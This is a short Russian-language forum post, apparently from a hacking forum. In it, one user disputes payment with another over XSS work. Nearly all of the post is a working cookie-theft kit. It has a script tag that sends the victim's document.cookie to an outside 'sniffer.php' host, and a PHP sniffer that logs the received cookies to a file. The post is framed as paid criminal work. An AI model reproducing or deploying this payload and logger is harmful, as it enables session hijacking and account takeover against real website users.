Xss-eto ne malo.Malo to 4to ti mne skinul tolko

<script>location.href="http://nash.sait.com/sniffer.php?cookie="+document.cookie;</script>


<?php if (isset($_GET['cookie'])){$zapis=fopen("./cok.txt","a+");fputs($zapis,$_GET['cookie'] . "\n");fclose($zapis); ?>

и сказал куда их вводить.и все.И потребовал свои деньги.Теперь кто тут кидала ? ты или я ?